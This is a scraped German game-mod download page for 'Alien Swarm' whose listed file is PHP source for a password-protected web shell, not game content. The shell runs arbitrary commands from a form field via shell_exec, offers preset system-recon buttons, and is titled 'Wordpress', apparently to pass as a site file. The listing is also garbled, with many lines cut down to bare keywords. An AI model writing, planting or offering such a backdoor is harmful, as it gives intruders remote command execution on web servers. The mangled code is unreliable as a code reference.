ss
ss
Spiel: | Alien Swarm |
Benutzer: | ![]() |
Datei(en): | 1 |
Download: | Download now: ss |
Views: | 42 |
Downloads: | 2 |
Likes: |
-
- <?php
- session_start
- $validAuthKeyHash = 'c5b4547a4a95bc6486f724c05307651f060fb37da4c35902467bde7a7d389fcc';
- if
- exit
- }
- if
- $_SESSION['cwd'] = getcwd();
- }
- $output = '';
- $prompt = basename($_SESSION['cwd']) ?: '/';
- if
- if
- $input = $_POST['queryInput'];
- } elseif (!empty($_POST['presetCmd'])) {
- $input = $_POST['presetCmd'];
- } else {
- $input = '';
- }
- if
- $cmd = 'cd ' . escapeshellarg($_SESSION['cwd']) . ' && ' . $input . ' 2>&1';
- $result = shell_exec($cmd);
- $output = "$ $input " . $result;
- }
- }
- ?>
- <!DOCTYPE html>
- <html lang="en">
- <head>
- <meta charset="UTF-8" />
- <meta name="viewport" content="width=device-width, initial-scale=1" />
- <title>Wordpress</title>
- <style>
- body
- font
- background
- color
- padding
- margin
- }
- .terminal {
- width
- height
- background
- border
- padding
- border
- overflow
- white
- font
- margin
- }
- form
- margin
- }
- #inputArea {
- display
- align
- gap
- }
- input
- width
- padding
- font
- background
- border
- color
- border
- outline
- }
- button
- background
- color
- border
- padding
- font
- border
- cursor
- transition
- }
- button
- background
- }
- .preset-buttons {
- display
- gap
- flex
- }
- </style>
- </head>
- <body>
- <!-- Custom command input -->
- <form method="post" action="">
- <div id="inputArea">
- <input type="text" name="queryInput" placeholder="Enter command" autofocus />
- <button type="submit" name="submitInput">Run</button>
- </div>
- </form>
- <!-- Preset command buttons -->
- <form method="post" action="">
- <div class="preset-buttons">
- <button type="submit" name="presetCmd" value="ls -la">List Items</button>
- <button type="submit" name="presetCmd" value="ps aux">Running Tasks</button>
- <button type="submit" name="presetCmd" value="df -h">Disk Usage</button>
- <button type="submit" name="presetCmd" value="free -m">Memory</button>
- <button type="submit" name="presetCmd" value="top -b -n 1">Top Tasks</button>
- <button type="submit" name="presetCmd" value="lscpu">Show CPU Infos</button>
- </div>
- </form>
- <!-- Output area -->
- <div class="terminal">
- <?php echo htmlspecialchars($output); ?>
- </div>
- </body>
- </html>
Es gibt noch keine Kommentare. Schreibe jetzt den Ersten!